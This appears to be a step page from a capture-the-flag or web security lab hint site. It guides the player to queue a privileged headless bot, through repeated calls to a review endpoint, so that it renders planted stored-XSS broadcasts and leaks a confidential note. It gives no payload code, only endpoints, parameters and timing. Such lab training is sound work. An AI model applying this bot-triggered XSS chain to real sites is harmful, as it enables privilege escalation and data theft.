The MesaNet Portal hosts a "Rail Broadcasts" application accessible through a JSON gateway API. A low-privilege operator account can interact with several broadcast endpoints, but a confidential note owned by a privileged automated user sits just out of reach. The challenge requires chaining the broadcast creation pipeline with the automated oversight system to escalate access without ever touching the privileged session directly.
Objective: Submit multiple review requests to `/api/rail/review` to queue the headless bot and ensure it renders one of the planted malicious broadcasts.
Context: With 288 high-priority XSS broadcasts covering every 5-minute slot, you now need to make the bot actually visit the rail viewer. Each call to `/api/rail/review` queues one bot visit. Send several, alternating the `view` parameter between `display` and `current`, to maximize the chance the bot hits a poisoned broadcast.
Only reveal the ones you need. Claude tracks how many you used to calibrate the feedback.
Go back to Repeater and send the review endpoint request you tested earlier. Send it multiple times. Try varying the `view` value between `"display"` and `"current"` across your sends.
Each review request queues the bot to open `/apps/rail?view=<value>`. Both `display` and `current` trigger the `innerHTML` rendering pipeline. Sending 5–10 review requests with alternating views saturates the queue.
Send at least 5 requests like the one below, alternating `"view": "display"` and `"view": "current"`. Each should return `{"id":..., "reviewId":..., "message":"Broadcast review request submitted..."}`. Then wait 30–60 seconds.
Chat with a spoiler-safe tutor for this step. It uses only this lab spec and gives the smallest useful nudge first.
Tell the tutor what you tried, where you got stuck, or paste the response/error you are seeing.
Enjoying Hintru? Buy me a coffee ☕ ☕